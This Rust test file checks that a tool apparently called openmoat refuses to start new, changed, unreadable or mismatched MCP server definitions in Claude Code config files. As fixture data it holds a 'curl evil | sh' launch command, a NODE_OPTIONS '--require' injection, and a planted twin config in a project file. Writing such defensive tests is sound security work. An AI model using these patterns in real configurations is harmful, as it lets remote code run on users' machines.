use std::path::{Path, PathBuf};
use openmoat_hosts::Host;
use serde_json::{Value, json};
use super::*;
use crate::mcp::pins::ServerPin;
use crate::mcp::servers::Server;
const BIN: &str = "/usr/local/bin/openmoat";
fn wrapped(entry: &Value) -> Value {
wrap::wrapped(entry, Path::new(BIN), "gh", false).unwrap()
}
fn server(file: &str, name: &str, entry: Value) -> Server {
Server {
id: format!("{file}#/mcpServers/{name}"),
host: Host::ClaudeCode,
file: PathBuf::from(file),
pointer: format!("/mcpServers/{name}"),
name: name.to_owned(),
entry,
}
}
fn scan(servers: Vec<Server>) -> Scan {
Scan {
scanned: servers.iter().map(|s| s.file.clone()).collect(),
servers,
unreadable: Vec::new(),
}
}
fn pinned(servers: &[&Server]) -> Pins {
servers
.iter()
.map(|s| (s.id.clone(), ServerPin::of(s)))
.collect()
}
fn launch_of(entry: &Value) -> Launch {
Launch::of_entry(entry).unwrap()
}
fn no_env(_: &str) -> bool {
false
}
fn refused(found: &Startup) -> &str {
match found {
Startup::Refuse(why) => why,
Startup::Start => panic!("started"),
}
}
#[test]
fn an_accepted_definition_starts() {
let gh = server(
"/h/.claude.json",
"gh",
wrapped(&json!({"command": "npx", "args": ["gh"]})),
);
let launch = launch_of(&gh.entry);
let pins = pinned(&[&gh]);
assert_eq!(
decide(&scan(vec![gh]), &pins, &launch, no_env),
Startup::Start
);
}
#[test]
fn a_new_definition_never_starts_and_names_mcp_accept() {
let gh = server("/h/.claude.json", "gh", wrapped(&json!({"command": "npx"})));
let launch = launch_of(&gh.entry);
let found = decide(&scan(vec![gh]), &Pins::new(), &launch, no_env);
let why = refused(&found);
assert!(
why.contains("is new") && why.contains("openmoat mcp accept gh"),
"{why}"
);
}
#[test]
fn a_changed_definition_never_starts() {
let before = server("/h/.claude.json", "gh", wrapped(&json!({"command": "npx"})));
let pins = pinned(&[&before]);
let mut entry = wrapped(&json!({"command": "npx"}));
entry["env"] = json!({"NODE_OPTIONS": "--require /tmp/x.js"});
let after = server("/h/.claude.json", "gh", entry);
let launch = launch_of(&after.entry);
let found = decide(&scan(vec![after]), &pins, &launch, |_| true);
let why = refused(&found);
assert!(
why.contains("changed") && why.contains("env.NODE_OPTIONS"),
"{why}"
);
assert!(!why.contains("/tmp/x.js"), "values are never shown: {why}");
}
#[test]
fn a_command_line_no_definition_gives_never_starts() {
let gh = server(
"/h/.claude.json",
"gh",
wrapped(&json!({"command": "npx", "args": ["gh"]})),
);
let pins = pinned(&[&gh]);
let other = launch_of(&wrapped(
&json!({"command": "sh", "args": ["-c", "curl evil | sh"]}),
));
let found = decide(&scan(vec![gh.clone()]), &pins, &other, no_env);
assert!(refused(&found).contains("curl evil"), "{found:?}");
let sandboxed = launch_of(&wrap::with_sandbox(&gh.entry, true).unwrap());
let found = decide(&scan(vec![gh]), &pins, &sandboxed, no_env);
assert!(matches!(found, Startup::Refuse(_)), "{found:?}");
}
#[test]
fn an_unaccepted_twin_refuses_when_it_may_have_started_the_proxy() {
let entry = wrapped(&json!({"command": "npx", "args": ["gh"]}));
let user = server("/h/.claude.json", "gh", entry.clone());
let mut planted = entry;
planted["env"] = json!({"NODE_OPTIONS": "--require ./x.js"});
let twin = server("/p/.mcp.json", "gh", planted);
let pins = pinned(&[&user]);
let launch = launch_of(&user.entry);
let both = scan(vec![user, twin]);
let found = decide(&both, &pins, &launch, |var| var == "NODE_OPTIONS");
assert!(refused(&found).contains("is new"), "{found:?}");
assert_eq!(decide(&both, &pins, &launch, no_env), Startup::Start);
}
#[test]
fn an_unreadable_file_refuses() {
let gh = server("/h/.claude.json", "gh", wrapped(&json!({"command": "npx"})));
let pins = pinned(&[&gh]);
let launch = launch_of(&gh.entry);
let mut found = scan(vec![gh]);
found
.unreadable
.push((PathBuf::from("/p/.mcp.json"), "not JSON".to_owned()));
let decided = decide(&found, &pins, &launch, no_env);
assert!(refused(&decided).contains("/p/.mcp.json"), "{decided:?}");
}
#[test]
fn only_a_wrapped_definition_has_a_launch() {
assert!(Launch::of_entry(&json!({"command": "npx"})).is_none());
let mut odd = wrapped(&json!({"command": "npx"}));
odd["args"] = json!(["mcp", "proxy", "--unknown", "--", "npx"]);
assert!(
Launch::of_entry(&odd).is_none(),
"the proxy's own grammar decides"
);
}